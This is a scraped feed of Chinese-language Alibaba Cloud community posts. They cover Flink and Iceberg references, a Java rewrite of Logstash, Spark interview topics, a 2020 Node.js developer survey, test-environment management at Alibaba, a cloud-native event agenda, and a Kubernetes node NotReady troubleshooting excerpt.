    https://iceberg.apache.org/
    [2] Flink 1.10文 档:
    https://ci.apache.org/projects/flink/flink-docs-release-1.10/
    [3] Neflix 提供的 Flink Iceberg connector 原型:
    https://github.com/Netflix-Skunkworks/nfflink-connector-iceberg
    [4] Flink Iceberg sink 设计文档:
    https://docs.google.com/document/d/19M-sP6FlTVm7BV7MM4Om1n_MVo1xCy7GyDl_9ZAjVNQ/edit?usp=sharing
    [5] Flink 容错机制(checkpoint) :
    https://www.cnblogs.com/starzy/p/11439988.html

    # 社区活动推荐 #

    普惠全球开发者,这一次,格外与众不同!首个 Apache 顶级项目在线会议 Flink Forward 全球直播中文精华版来啦,聚焦 Alibaba、Google、AWS、Uber、Netflix、新浪微博等海内外一线厂商,经典 Flink 应用场景,最新功能、未来规划一览无余。点击下方链接可了解更多大会详情:https://developer.aliyun.com/live/2594?spm=a2c6h.14242504.J_6074706160.2.3fca361f4cYyQx

    ]]>
    为什么要用java重写logstash Fri, 02 May 2025 09:39:04 +0800 写之前这里先打个广告,java 版本的logstash已经开源,git地址 https://github.com/dtstack ;再放个招聘信息 https://m.zhipin.com/weijd/v2/job/de2292afc38d32fe1XV73t25EFU~?date8=20180609&sid=self_jd&from=singlemessage&isappinstalled=0,欢迎对技术有追求的码农。

    下面进入正题。

    一是提升性能:

        先说说性能问题,当时袋鼠云的云日志系统日志接收端是ruby 版本的logstash,存储用elasticsearch,前端的展示没有用原生的kibana,而是自己写的一套前端。本人是负者日志接收端的logstash开发,基于ruby版本的logstash写一些满足公司业务的插件,当时为了提升性能做了各种优
    

    化,一些模块也用java写的,在用ruby调用java,比如ip的解析,但是最终优化的结果是单机4core,4g的虚拟机每小时最多跑800万的数据(我们的场景跟大部分人一样都是订阅kafka的消息,在经过一些filter(瓶颈主要在这里比较耗cpu),在写入elasticsearch)。因为logstash的核心代码是用ruby语言开发,虽然是运行在jruby上,但是由于中间涉及到数据结构的转化,性能是跟用原生的

    java语言运行在jvm上肯定是有所差距的。所以当时也是抱着试试的心态,花了2个星期用java重写logstash,并把自己所需要的插件也用java重写,在同样的4core,4g的虚拟机环境下,每小时能跑4000万数据,性能近5倍的提升。

    这是一个java logstash 和 ruby logstash(2.3.2版本)做的性能对比

    二是保证数据尽量不丢失:

      ruby 版本的logstash 对保证数据不丢失这块没做太多的设计,举个简单的列子,数据从kafka消费,在output到elasticsearch,一旦elasticsearch集群不可能,ruby logstash会重试几次还不成功就会扔掉继续消费kafka数据,而且重试的动作也是elasticsearch插件自身完成,logstash本生没对数据的不丢失做设计。而java 版本的logstash 的BaseOutput 这个抽象类里面有个failedMsgQueue 这个队列,每个output实例维护一个,output 插件需要自身判断哪些数据失败了,在把失败的数据调用addFailedMsg 这个方法,写入到failedMsgQueue这个队列里,java logstash一旦发现failedMsgQueue有数据就会调用sendFailedMsg这个方法消费failedMsgQueue这里的数据直到没有数据,才会消费input里的数据这个逻辑可以通过consistency 这个属性控制,默认是关闭的。还有一点是input和output插件都提供了release方法,这个主要是为了jvm退出时,要执行的一些动作而设计的,因为大部分的input和output插件在获取和发送的数据都会先放在一个集合里面,在会慢慢消耗集合里面的数据,这样jvm退出时,插件各自就可以实现自己的逻辑保证jvm退出时,集合里面的数据要消费完,才能退出jvm,当然 你要是kill -9 进程那就没法保证了。现在elasticsearch插件我们已经实现了数据不丢失这个逻辑,也在我们的线上稳定的跑了很长一段时间。
    

    注释:有人问jlogstash跟hangout有什么区别,这里就不做说明了,有兴趣的同学可以看看这两个的源码就知道区别了。也希望jlogstash能为一些开发者解决一些问题,也希望有更多的人参与到jlogstash的开发里来。

    ]]>
    spark面试该准备点啥 Fri, 02 May 2025 09:39:04 +0800 本文转载自公众号: Spark学习技巧
    作者:浪尖
    原文链接:https://mp.weixin.qq.com/s/xcQOL2HyNB8Ro7QChu6Ngw


    最近很多球友都说在准备面试,不知道准备点啥,尤其是spark,实际上浪尖分享的内容真的都掌握了,应对一般面试绝对没问题,但是遗憾的事情是很多人都是处于不会主动搜集资料,主动梳理知识,主动记忆整理知识,而是伸手要粮的境地。浪尖觉得这个是阻止你成长的罪魁祸手。前天跟朋友聚餐就说道这种情况,不努力,不加班给自己喂粮的,没有足够量和时间积累的人很难在一个领域里有所建树。

    主动学习,保持激情,不断提高~

    言归正传,大部分面试者被面试的spark问题估计都会集中于spark core,spark streaming和spark sql,至于mllib和graphx这些估计都是了解项,当然也要逐步去学习structured streaming。所以今天浪尖就帮助大家梳理一下spark的主要知识点吧~

    1. spark的runtime

    这个主要是standalone模式下的master和worker,executor,driver,再加上yarn模式下的resourcemanager和nodemanager。要了解一个spark应用提交的过程,也即是driver和executor在集群管理器内部启动的过程,然后就是rpc过程,各个角色的作用。

    高手的问题就是如何给两者分配合适内存,然后executor执行task倾斜的表现及如何解决。这些都在星球里分享过了。然后如何对executor的存活挂掉、新增进行监控告警。executor动态分配表现及带来的问题。

    再高级一点就是driver和executor的类加载器及加载类的原理及过程,当然包括rpc,依赖传输,依赖更新,task调度等。

    2.spark core

    spark core顾名思义就是spark的核心内容,主要是rdd的五大特性及操作算子特点介绍。

    DAG的生成,划分,task的调度执行。

    数据本地性原理及如何利用和会存在哪些隐患。这也在公众号发过文章和视频了。

    reducebykey,groupbykey的区别等等类似算子对比,如何高效使用mappartition,然后foreachPartition与foreach之间的区别及底层实现原理,这些星球里➕公众号都发过了。

    宽依赖,窄依赖等老生常谈的不多说了...基础都不去了解记忆的人面试不过很正常。

    来点猛料,广播变量的原理及演变过程,使用场景,使用广播变量一定划算吗?大变量咋办呢?Spark sreaming定期更新广播变量的实现。

    累加器的原理及应用场景,累加器使用有陷阱么?

    序列化,反序列化,闭包,垃圾回收机制(过期rdd的回收,cache的回收,shuffle数据回收等)。这个星球里打过了~

    checkpoint如何在spark core应用呢?何种场景适合?源码系列教程。

    并行度相关配置,这个星球里也反复强调了,合理设置可以大幅度提高性能。

    害怕了吗,还是就此打住吧,太多了~

    3.spark streaming

    spark streaming核心原理大家都知道是微批处理。
    基于receiver和direct api两种模式的原理,最好读懂源码。

    主要是跟Kafka 结合的两种模式的区别。

    direct这种模式如何实现仅一次处理。

    checkpoint的使用及问题。

    如何进行状态管理,upstatebykey,redis,hbase,alluxio作为状态管理存储设备的时候优缺点,然后就是故障恢复会引起的问题及如何避免等等吧。

    合理设置批处理时间,为啥批处理时间不能太大,也不能太小,task倾斜,数据倾斜如何解决。

    内存申请,kafka分区设置的依据是啥?

    并行度问题,这个也是浪尖反复强调的,彻底理解对spark任务调优帮助很大。

    blockrdd和kafkardd的底层区别。

    与spark sql和hivecontext结合使用。

    广播变量的使用及释放机制等。

    动态分区发现和topic发现机制。

    executor存活监控,task执行情况监控,未处理队列积累的健康告警(非常重要)等价于对lagsize的监控告警。

    小文件问题,星球里文章很详细。根源上避免才是王道。顺便提一句:为啥namenode那么怕小文件呢?
    作为7*24小时的应用程序,如何进行监控告警及故障自动恢复~

    4.spark sql

    在数仓的领域,实时处理都用它,而且structured streaming也逐步依赖于sql引擎了。

    常见算子的使用及理解,并行度问题,大小表join,如何广播小表。

    join,group by等数据倾斜如何发现及处理方法,这个浪尖还专门录制过视频,星球里球友应该都知道,不知道回去翻看一下。

    常见的存储格式,parquet,txt,json,orc对比及对性能的影响。

    调优大部分也是针对并行度,文件大小,数据倾斜,task倾斜,内存和cpu合理设置等。

    5.structured streaming

    动态表,增量sql引擎,仅一次处理,维表join等非常好用,watermark,还有就是繁杂的join 机制。

    当然限制还是很多的,期待后续版本。

    spark streaming在spark 2.4的时候都没更新了,后面就主推sql引擎相关内容了,还是值得期待的。
    不过话虽这么说,我觉得flink也相对好用,就是可能bug多些,新版本好点。


    阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
    image.png

    对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。Apache
    image.png
    Spark技术交流社区公众号,微信扫一扫关注
    image.png

    ]]>
    阿里云云原生技术产品公开课有奖调研 Fri, 02 May 2025 09:39:04 +0800 云原生不但可以很好的支持互联网应用,也在深刻影响着新的计算架构、新的智能数据应用。以容器、服务网格、微服务、Serverless为代表的云原生技术,带来一种全新的方式来构建应用。阿里云云原生技术产品团队希望能够更加真切、具体地了解到广大的云原生技术学习者的诉求,帮助学习者尽快掌握云原生技术。

    因此我们希望通过【阿里云云原生技术产品公开课有奖调研】这份调研问卷,进一步了解您对云原生技术产品公开课的诉求和期望。

    问卷填写地址:https://survey.aliyun.com/apps/zhiliao/EH_BZ-H5F

    我们将对认真反馈的前30位用户将赠送阿里云数据线,感谢您对阿里云的支持!

    ]]>
    2020 年 Node.js 开发者调查报告 Fri, 02 May 2025 09:39:04 +0800 作者:冰森

    image.png

    导读:本次调查由阿里巴巴、腾讯等公司领衔,调查时间从 2020 年 2 月至 4 月,以中文进行。截止至 4 月 10 日共有 1113 名受访者参加调研。本报告将从 Nodejs 开发者人群、应用场景、开发场景等多个维度分析当下 Nodejs 开发生态的现状。

    更好的阅读体验:更高清的数据图表和交互体验可以点击阅读原文跳转至相关 GitHub 页面查看。

    受访者

    人物来源

    本次调查问卷中,填写问卷的 Node.js 开发者主要年龄分布如下:

    image.png

    他们的主要分布情况为:

    image.png

    其中以城市角度看,人数分布主要是:

    image.png

    职业简历

    • 典型的受访者来自两种公司,分别是百人左右的小型公司,以及 5k 人以上的大公司。
    • 他们通常是 7 人左右的团队内的前端或者全栈工程师。

    image.png

    工作内容

    应用场景

    • Node.js 的典型应用场景是网站开发。
    • 大公司内会有更多的人使用 Node.js 进行工具 & 自动化开发。
    • 中小公司会更乐意在移动应用中尝试 Node.js。
    • 不少人 (35.01%) 学习 Node.js 是出于业余爱好,在小公司更加明显。

    image.png

    开发场景

    • 整体而言有 87.50% 使用 Node.js 开发服务端 API,有 51.19% 的人开发 CLI & 工具。
    • 随着使用年限增加将 Node.js 作为服务端 API 的比率略有下降 (5%) 而 BFF 的使用场景略有上涨 (4%)。
    • 越年轻的使用者越愿意在 SSR 场景中使用 Node.js。

    image.png

    多语言

    • 与 Node.js 开发最契合的是前端开发语言(JavaScript/HTML/CSS)。
    • 除了前端,整体上与 Node.js 最常见并存的语言分别是 Java(25.27%)、Python(22.24%) 和 Go(17.73%)。

    image.png

    开发流程

    代码转译

    • 随着 Node.js 使用年限增加,不转译的比率大幅下降 (45% 到 25%)。
    • TypeScript 是最常用的转译语言。

    image.png

    代码检查

    • 整体上有 90% 的 Node.js 开发者使用过 ESLint。
    • 随着团队规模的增大 TSLint 的使用存在微小的增幅。

    image.png

    配置方式

    • 文件配置是最流行的配置方式。
    • 虽然配置中心使用概率不高,不过公司规模越大则配置中心的使用概率越高。

    image.png

    编辑器

    • VS Code 一骑绝尘,是 Node.js 开发者最喜爱开发工具

    image.png

    进程管理

    • 公司越大使用 Docker 的比例越高。
    • 中型公司使用 PM2 的比例更高。

    image.png

    操作系统

    image.png

    技术栈

    一个典型的 Node.js Web 应用:

    • 使用 Express/Koa 框架
    • 使用 Mysql/MongoDB + Redis 数据
    • 同时配置了 Nginx 作为反向代理

    Web 框架

    • 虽然感受上 Koa.js 的教程更多,但是实际上 Express.js 依旧是最常见的框架。
    • 除了 Koa/Express 之外较流行的 Web 框架分别有 Egg.js (38%)、Nest.js (15%)、Next.js (7%) 和 Midway.js (6%)。

    image.png

    数据库

    在 2020 年,如果要学三个数据库,那么请学习 MySQL (79%)、MongoDB (60%) 和 Redis (49%)。

    image.png

    反向代理

    • Noder 们对于反向代理的概念是约等于 Nginx 的。
    • 使用反向代理的基本都会使用 Nginx。
    • 越大的公司越倾向于使用反向代理。

    image.png

    RPC

    • HTTP 是最常见的 RPC 方式,此外使用最多的是消息队列。
    • 中型公司使用消息队列的比率最高。
    • 大公司使用自研 RPC 协议的比率最高。

    image.png

    消息队列

    • 常用的消息队列(多选) 仅 18% 的同学填写消息队列(问卷星渠道不包括)

    image.png

    开发生态

    Node 版本

    • 在 2020 年,开发者们普遍使用 12.x 或更高版本 13.x。
    • 除了 NPM, 最流行的管理工具主要是 yarn 以及 cnpm。
    • 仅有不到 6% 的开发者在使用非 LTS 版本的 Node.js。

    image.png

    依赖管理

    • NPM 影响力巨大,仅有不到 6% 的同学可以摆脱 NPM 只使用其他的依赖管理工具。
    • 除了 NPM, 最流行的管理工具主要是 yarn 以及 cnpm。
    • 随着开发经验的增加,开发者会更多的试图寻找 NPM 以外的依赖管理工具。

    image.png

    NPM 镜像

    • 使用镜像加速的同学超过 57%,但是这对 NPM 的下载速度并没有起到决定性的影响。
    • 通过比例分析可以发现,除了镜像加速,下载速度越快的同学中公司部署私有 NPM 镜像的比例越高。

    image.png

    学习提升

    学习途径

    • 老司机更多的从开源代码 (Github & NPM) 来学习 Node.js。
    • 新同学相比之下会更多的通过学习视频以及博客 & 期刊等渠道学习。

    image.png

    使用困惑

    • Node 开发者使用困惑的前三分别是性能优化 (58%)、内存泄漏 (42.4%) 以及 Debug (24.89%)。
    • 新人更容易面临的困惑前三分别是 异步编程、事件驱动以及 Debug。
    • 随着开发经验的增加,内存泄漏的比例也逐步上升。

    image.png

    资源需求

    • 文档是大家最期待的资源。
    • 新同学对视频教程和免费在线课程的呼声最高。
    • 随着开发经验的增加,开发更加关注文档、大会活动以及线下沙龙。

    image.png

    未来关键字

    • Serverless 和多线程是 2020 年的 Noder 们最关注的新关键字。
    • 从业经验越高则越关注 WebAssembly (WASI) 和 N-API。
    • 越年轻的同学越关注 Deno。

    image.png

    生态期望

    • Node.js 开发者中呼声最高的需求是更好的性能以及开发效率。
    • 此外不满 1 年的开发者更关心学习成本,年限越长越关心维护成本。

    image.png

    最后

    同样的数据在不同的人眼里可以衍生出不同的看法,本报告内的解读仅供参考。同时欢迎社区同学对本报告进行解读和分析。

    如果发现有疏漏或者有你自己的想法/吐槽都可以在 GitHub 上提 issue 反馈。

    原文链接


    image.png
    关注「Alibaba F2E」
    把握阿里巴巴前端新动向

    ]]>
    分享实录 | 阿里巴巴测试环境管理实践概述 Fri, 02 May 2025 09:39:04 +0800 00-微信头图.jpg

    【以下为分享实录,有删节】

    测试环境管理之困

    01.jpg

    互联网产品的服务通常是由 Web 应用、中间件、数据库和许多后台业务程序组成,一套运行环境就是一个自成一体的小生态。部署软件产品的正式发布版本,为用户提供持续可靠的服务的环境为“正式环境”,而开发者用于日常的开发和验证的运行环境,就是我们说的“测试环境”,它是包含完成软件测试工作所必需的计算机硬件、软件、网络设备、历史数据的总称。

    我们为什么要关注“测试环境”呢?因为测试环境出故障的几率非常高,大大影响软件研发的效率,这主要是由于由于频繁的版本变更,以及部署未经充分验证的代码等因素引起的。此外测试环境也是开发者使用最频繁的一种环境,数据表明,测试和联调任务通常占开发者日常工作时间的50%以上,稳定而易用的测试环境能够极大提高开发者的工作效率和幸福感。

    理想的测试环境是怎样的?我们认为理想的测试环境需要做到以下几点:

    一、本地直连,双向访问互通。开发者的大部分工作是在本地(自己的电脑)中完成的,然后通过测试环境验证所做的工作是否符合预期。如果“本地”和“测试环境”之间,不能够互通的话,开发者要验证自己开发的软件功能就会变得十分困难。

    二、独占式随意使用,可重启,可调试,可断点。当团队有多名开发者进行多人并行开发的时候,如果共用一套测试环境就会出现相互干扰的情况。比如当我正在重启测试环境的时候,就可能影响到其它开发者的测试工作。因而理想的测试环境应该是“独占式”的,你使用你的环境,我使用我的环境,彼此不干扰。

    三、多人随意组合协作,多服务联调不串流量。当多位开发者在同一个项目上进行合作的时候,开发者之间又是希望互通的。比如我的一个请求,希望调用对方本地的一个服务。同样对方也可以调用我本地的服务。同时,又希望非项目内的开发者的请求不要进来,即做到多服务联调不串流量。

    四、多个依赖服务版本同时在线,想测哪个随时切换。当进行大版本更新的时候,我们可能既要测试新版本的兼容性,又要测试老版本的兼容性, 这就要求多个依赖服务版本同时在线,并且可以随时切换。

    简单总结一下,理想的测试环境应该是:自由连接、随时可用、互访可控。

    那么现实中的测试环境又是怎样的呢?所谓“理想很丰满,现实很骨感”,在一线工作的开发者可能会发现,真实的测试环境并非这么理想。

    一、在中小企业,本地的开发机往往是不具有公网IP的机器,大多会使用内网IP地址,这样测试环境要回到本地环境时候是不通的。特别是在 在Kubernetes集群中,每个Pod都会被赋予一个Cluster IP,Cluster IP是一个在Kubernetes集群中特有的内网IP,我们在本地访问Cluster IP也是调不通的。这就造成了本地/集群双向均不通。

    二、在中小企业,测试环境通常是共用的,这就会造成前文提到的相互干扰、调用和消息互串等问题。
    三、如果开发者想独立拉起一套专用测试环境,不仅费时费力,而且资源成本也是难以招架的。

    总之,现实中的测试环境:无法直连、稳定性差、流量混杂。

    阿里巴巴的测试环境实践

    以上提到的测试环境管理之困,总结一下主要有两点:一是本地和集群之间网络互通的问题;一个是多人协作开发时,路由的可访问性控制问题,比如谁和谁相连,谁和谁不相连,怎样做到相互间不干扰这些问题。

    在阿里巴巴内部,我们主要通过两个机制来解决以上痛点:扁平的内网IP和项目环境。

    扁平的内网IP主要是基于CNI(Conteinre Network Interface) 机制改造Kubernetes的IP逻辑实现的,可以使集群中的每个Pod分配到的IP与本地机器分配到IP处于一个大的网络环境下,这样就可以解决本地环境和集群之间互通的问题。但是这种方式实施起来比较复杂,而且通用性不高,因为每个企业内部的网络情况都不同,本次分享对这个方法不做详细的展开。

    下面我们重点讲解“项目环境”。项目环境是基于RPC、消息中间件的虚拟环境,从表面上看,每个项目环境都是一套独立完整的测试环境,由一系列服务组成集群,而实际上,除了个别当前使用者想要测试的服务,其余服务都是通过路由系统和消息中间件虚拟出来的,指向公共基础环境的相应服务。

    02.jpg

    如上图所示,在某个开发项目中,我们有公共基础环境和三个独立的项目环境(项目环境)。服务A、服务B、服务C、服务D共同组成了完整的公共基础环境,在项目环境-2中只部署了“服务C”,但对于项目环境-2的使用者而言,他可以通过路由调用公共基础环境中的其它服务,因此他会认为项目环境-2就是一个完整的独立的测试环境。同样的道理,对于开发者而言,他们认为项目环境-1和项目环境-3也同样是完整的独立的测试环境。

    我们创建一套“项目环境”肯定是比创建一套包含所有服务的测试环境的成本要低。本质上是基于消息路由的控制,实现集群中部分服务的复用。在这种机制下,许多外表庞大的独立测试环境实际只需要消耗极小的额外基础设施资源,即使给每个开发者配备一套专用的测试环境都是可行的。

    03.jpg

    为进一步提升测试效率,我们又捣鼓出一种开脑洞的玩法:将本地开发机加入项目环境。在阿里巴巴集团内部,由于开发机和测试环境都使用内网IP地址,稍加变通其实不难将特定的测试环境请求直接路由到开发机。这意味着,使用项目环境的开发者,在进行一项测试时,其服务调用链路上的服务,既可以来自公共基础环境,也可以来自项目环境,甚至来自本地环境。现在,调试集群中的服务变得非常简单,再也不用等待漫长的流水线构建,就像整个测试环境都运行在本地一样。

    通过以上介绍的阿里巴巴关于测试环境的解决方案,能给开发者带来怎样的测试体验呢?

    04.jpg

    • 开发者会觉得自己坐拥整个服务集群,所有测试服务IP地址都可以由本地直接访问,随时进行断点、单步调试、重新部署服务等操作,而丝毫不会影响到其他人;
    • 当多人协作研发软件时,每位开发者同一时刻只能属于同一个隔离域,同一个隔离域里面的服务相互可见,并且当出现服务调用的时候,会优先调用隔离域里面的服务。不同隔离域里面的服务相互之间不可见,是互不影响的;
    • 由于我们是通过“染色”(打标签)的方式实现的隔离,这种隔离方式非常的灵活,假如某位开发者前面在跟第一个项目进行联调,调试结束后,他想把该服务放入第二个项目中进行调试,他只需要把自己的服务从一个项目环境退出,进入另一个项目环境即可,实现灵活组队协作。

    总结

    我们将测试环境管理遇到的问题归纳为两个主要问题,第一个是本地与集群互通互联的问题。在阿里巴巴集团内部主要通过基于CNI机制改造Kubernetes的IP逻辑实现的“扁平化的内网IP”这个方法来解决,这种方式更适合大型集团企业。对外,我们也推出了一个更轻量的开发解决方案,主要通过kt-connect这个工具实现,kt-connect是开源免费的,由阿里云·云效提供技术支持,在下一节的分享中我们会详细介绍该工具的使用。

    05.jpg

    第二个问题,是关于路由的控制,在阿里巴巴内部我们是通过“项目环境”与“隔离域”实现的。对外我们也推出了一个开源解决方案,主要通过kt-connect和kt-virtual-environment这两个开源工具来实现,具体方案会在本系列分享的第三节内容中讲述。


    【下期预告】

    【直播日期】4月22日 16:00
    【直播主题】单人开发场景下的测试环境实践
    【直播讲师】郑云龙 阿里巴巴技术专家
    【观看方式】云效开发者交流群直播(钉钉群号:群号:23362009)


    【关于云效】

    云效,企业级一站式DevOps平台,源于阿里巴巴先进的研发理念和工程实践,致力于成为数字企业的研发效能引擎!云效提供从“需求 ->开发->测试->发布->运维->运营”端到端的在线协同服务和研发工具,通过人工智能、云原生技术的应用助力开发者提升研发效能,持续交付有效价值。

    ]]>
    提问赠书 | 我们请了 7 位云原生专家,等你来问 Fri, 02 May 2025 09:39:04 +0800 560_260

    2020 年 4 月 18 日,我们将举办首次 Alibaba Cloud Native Day 全天直播。本次活动将齐聚 7 位阿里云技术专家,聚焦前沿云原生技术,分享最新 K8s、Serverless、微服务等技术落地案例,直击云原生开发者实践痛点,帮助开发者短时间内提升对云原生的技术认知,加速成长。

    比解决问题更重要的是发现问题
    这一次,我们来送书你来提问!

    提问规则

    4 月 17 日 12:00 前以【议题编号(如议题 1)+问题】格式在“阿里巴巴云原生”公众号文末提问,我们将会邀请讲师在直播现场答疑:

    • 收获赞最多的前 2 名,将获得《Istio 服务网格技术解析与实践》 图书 1 本;
    • 收获赞最多的第 3-5 名,将获得淘公仔 1 个;
    • 收获赞最多的第 6-10 名,将获得 CNCF 正版指尖陀螺 1 个。

    立即报名 

    活动详细议程

    10:00 - 10:40

    议题 1 -《容器服务 ACK 超强弹性助力在线教育行业抗击疫情》

    刘佳旭.jpg
    刘佳旭  阿里云技术专家

    本次分享会介绍 ACK 产品的极致弹性能力,ACK+神龙裸金属的技术方案,及其在线教育行业抗击疫情中的应用。

    10:40 - 11:20

    议题 2 -《基于 OAM 和 Kubernetes 快速构建开放 Serverless 平台》

    孙建波.jpg
    孙健波  阿里云技术专家

    本次分享将为你解开基于 OAM 和 Kubernetes 快速构建开放 Serverless 平台背后的核心技术原理,真正解决云原生应用的管理难题。

    中午休息

    13:30 - 14:10

    议题 3 -《Serverless 应用引擎助力企业降本增效》

    王科怀.jpg
    王科怀  阿里云技术专家

    本次分享将通过场景分析和用户案例为您揭秘如何利用 Serverless 技术提升运维效率和降低计算资源成本。

    14:10 - 14:50

    议题 4 -《如何在两天内快速搭建云上高可用方案》

    陶炳哲.jpg
    陶炳哲  阿里云 ARMS 产品负责人

    本次分享将为大家介绍实战案例:我们是如何在两天内帮助用户从 0 到 1 的完成压测,性能调优,限流降级这三个高可用核心步骤的。

    14:50 - 15:30

    议题 5 -《 白天业务大流量依然云淡风轻搞发布》

    方剑.jpg
    方剑  阿里云高级开发工程师

    本次分享主要介绍 EDAS 在支持三大主流微服务框架 HSF、Apache Dubbo 和 Spring Cloud 的同时,如何零代码入侵就能完成应用上云以及在支持服务查询、离群摘除、金丝雀发布等多种高级特性的一些分享实践。

    15:30 - 16:10

    议题 6 -《用 Start.aliyun.com 5 分钟搭建一套云上应用》

    良民.jpg
    陈曦  阿里云技术专家

    Start.aliyun.com 是基于 Spring-initializr 实现的工程脚手架生成平台;在 Spring 的基础上,实现了对Spring cloud alibaba 各组件的支持;同时还为开发者带来了完善的配置和使用样例,大幅提升开发者的工作效率;本次分享将介绍 Start.aliyun.com 以及相关工具链的使用方法及服务于开发者生态的规划。

    16:10 - 16:50

    议题 7 -《 Serverless/FaaS 轻松快速构建弹性高可用服务》

    西流.jpg
    西流  阿里云技术专家

    本次分享将介绍什么是 Serverless/FaaS 及其目前的现状;Serverless/FaaS 能解决什么问题, 存在的问题是什么?阿里云 Serverless/FaaS 函数计算的介绍、创新以及解决方案。

    4.15.png

    提问有礼

    4 月 17 日 12:00 前以【议题编号(如议题 1)+问题】格式在“阿里巴巴云原生”公众号文章留言区评论:

    • 收获赞最多的前 2 名,将获得《Istio 服务网格技术解析与实践》 图书 1 本;
    • 收获赞最多的第 3-5 名,将获得淘公仔 1 个;
    • 收获赞最多的第 6-10 名,将获得 CNCF 正版指尖陀螺 1 个。

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    电子书下载 | 超实用!阿里售后专家的 K8s 问题排查案例合集 Fri, 02 May 2025 09:39:04 +0800 书.png

    <关注公众号,回复“排查”获取下载链接>

    《深入浅出 Kubernetes》开放下载

    本书作者罗建龙(花名声东),阿里云技术专家,有着多年操作系统和图形显卡驱动调试和开发经验。目前专注云原生领域,容器集群和服务网格。本书分为理论篇和实践篇,共汇集了 12 篇技术文章,深入解析了集群控制、集群伸缩原理、镜像拉取等理论,带你实现从基础概念的准确理解到上手实操的精准熟练,深入浅出使用 Kubernetes!

    本书共有以下四大亮点:

    • 线上海量真实案例的沉淀
    • 理论和实践的完美契合
    • 理论阐述深入浅出
    • 技术细节追根究底

    帮助你一次搞懂 6 个核心原理,吃透基础理论,一次学会 6 个典型问题的华丽操作!

    目录.png
    (本书目录)

    如何免费下载?

    关注“阿里巴巴云原生”,回复 排查 ,即可免费下载此书。

    前言

    以下内容节选自《深入浅出 Kubernetes》一书。

    阿里云有自己的 Kubernetes 容器集群产品。随着 Kubernetes 集群出货量的剧增,线上用户零星的发现,集群会非常低概率地出现节点 NotReady 情况。

    据我们观察,这个问题差不多每个月就会有一到两个客户遇到。在节点 NotReady 之后,集群 Master 没有办法对这个节点做任何控制,比如下发新的 Pod,再比如抓取节点上正在运行 Pod 的实时信息。

    在上面的问题中,我们的排查路径从 K8s 集群到容器运行时,再到 sdbus 和 systemd,不可谓不复杂。这个问题目前已经在 systemd 中做了修复,所以基本上能看到这个问题的几率是越来越低了。

    但是,集群节点就绪问题还是有的,然而原因却有所不同。

    今天这篇文章,将侧重和大家分享另外一例集群节点 NotReady 的问题。这个问题和上面问题相比,排查路径完全不同。

    问题现象

    这个问题的现象,也是集群节点会变成 NotReady 状态。问题可以通过重启节点暂时解决,但是在经过大概 20 天左右之后,问题会再次出现。

    1.png

    问题出现之后,如果我们重启节点上 kubelet,则节点会变成 Ready 状态,但这种状态只会持续三分钟。这是一个特别的情况。

    大逻辑

    在具体分析这个问题之前,我们先来看一下集群节点就绪状态背后的大逻辑。K8s 集群中,与节点就绪状态有关的组件,主要有四个,分别是:集群的核心数据库 etcd、集群的入口 API Server、节点控制器以及驻守在集群节点上直接管理节点的 kubelet。

    2.png

    一方面,kubelet 扮演的是集群控制器的角色,它定期从 API Server 获取 Pod 等相关资源的信息,并依照这些信息,控制运行在节点上 Pod 的执行;另外一方面,kubelet 作为节点状况的监视器,它获取节点信息,并以集群客户端的角色,把这些状况同步到 API Server。

    在这个问题中,kubelet 扮演的是第二种角色。

    Kubelet 会使用上图中的 NodeStatus 机制,定期检查集群节点状况,并把节点状况同步到 API Server。而 NodeStatus 判断节点就绪状况的一个主要依据,就是 PLEG。

    PLEG是Pod Lifecycle Events Generator的缩写,基本上它的执行逻辑,是定期检查节点上Pod运行情况,如果发现感兴趣的变化,PLEG 就会把这种变化包装成 Event 发送给 Kubelet 的主同步机制 syncLoop 去处理。但是,在 PLEG 的 Pod 检查机制不能定期执行的时候,NodeStatus 机制就会认为,这个节点的状况是不对的,从而把这种状况同步到 API Server。

    而最终把 kubelet 上报的节点状况,落实到节点状态的是节点控制这个组件。这里我故意区分了 kubelet 上报的节点状况,和节点的最终状态。因为前者,其实是我们 describe node 时看到的 Condition,而后者是真正节点列表里的 NotReady 状态。

    3.png

    就绪三分钟

    在问题发生之后,我们重启 kubelet,节点三分钟之后才会变成 NotReady 状态。这个现象是问题的一个关键切入点。

    4.png

    在解释它之前,请大家看一下官方这张 PLEG 示意图。这个图片主要展示了两个过程。

    • 一方面,kubelet 作为集群控制器,从 API Server 处获取 pod spec changes,然后通过创建 worker 线程来创建或结束掉 pod;
    • 另外一方面,PLEG 定期检查容器状态,然后把状态,以事件的形式反馈给 kubelet。

    在这里,PLEG 有两个关键的时间参数:一个是检查的执行间隔,另外一个是检查的超时时间。以默认情况为准,PLEG 检查会间隔一秒,换句话说,每一次检查过程执行之后,PLEG 会等待一秒钟,然后进行下一次检查;而每一次检查的超时时间是三分钟,如果一次 PLEG 检查操作不能在三分钟内完成,那么这个状况,会被上一节提到的 NodeStatus 机制,当做集群节点 NotReady 的凭据,同步给 API Server。

    而我们之所以观察到节点会在重启 kubelet 之后就绪三分钟,是因为 kubelet 重启之后,第一次 PLEG 检查操作就没有顺利结束。节点就绪状态,直到三分钟超时之后,才被同步到集群。

    如下图,上边一行表示正常情况下 PLEG 的执行流程,下边一行则表示有问题的情况。relist 是检查的主函数。

    5.png

    止步不前的 PLEG

    了解了原理,我们来看一下 PLEG 的日志。日志基本上可以分为两部分,其中 skipping pod synchronization 这部分是 kubelet 同步函数 syncLoop 输出的,说明它跳过了一次 pod 同步;而剩余 PLEG is not healthy: pleg was last seen active ago; threshold is 3m0s,则很清楚的展现了,上一节提到的 relist 超时三分钟的问题。

    17:08:22.299597 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.000091019s ago; threshold is 3m0s]
    17:08:22.399758 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.100259802s ago; threshold is 3m0s]
    17:08:22.599931 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.300436887s ago; threshold is 3m0s]
    17:08:23.000087 kubelet skipping pod synchronization - [PLEG is not healthy: pleg was last seen active 3m0.700575691s ago; threshold is 3m0s]
